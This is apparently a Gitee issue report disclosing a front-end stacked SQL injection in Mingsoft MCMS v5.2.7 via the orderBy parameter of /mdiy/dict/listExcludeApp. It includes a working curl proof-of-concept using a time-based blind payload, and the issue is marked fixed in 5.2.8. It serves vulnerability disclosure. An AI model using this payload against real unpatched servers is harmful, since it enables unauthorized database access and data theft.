4K Star 13.2K Fork 6.1K

GVP铭飞 / MCMS

 / 详情

Mingsoft MCMS v5.2.7 SQL注入【前台】

Done
Opened this issue  
2022-04-27 00:24

/mdiy/dict/listExcludeApp路由的orderBy参数存在堆叠SQL注入
输入图片说明
输入图片说明

证明

curl -w "%{time_total}\n" -i -I -X $'GET' $'http://127.0.0.1:8080/mdiy/dict/listExcludeApp?dictType=1&orderBy=1;select/**/if(substring((select/**/database()),1,4)=\'mcms\',sleep(3),1);'

输入图片说明
输入图片说明

Comments (0)

辛夷 created任务
铭飞 changed issue state from 待办的 to 进行中
铭飞 changed issue state from 进行中 to 已完成
铭飞 set milestone to 5.2.8
Expand operation logs

Sign in to comment

Status
Assignees
Milestones
Pull Requests
Successfully merging a pull request will close this issue.
Branches
Planed to start   -   Planed to end
-
Top level
Priority
参与者(1)
Java
1
https://gitee.com/mingSoft/MCMS.git
git@gitee.com:mingSoft/MCMS.git
mingSoft
MCMS
MCMS

Search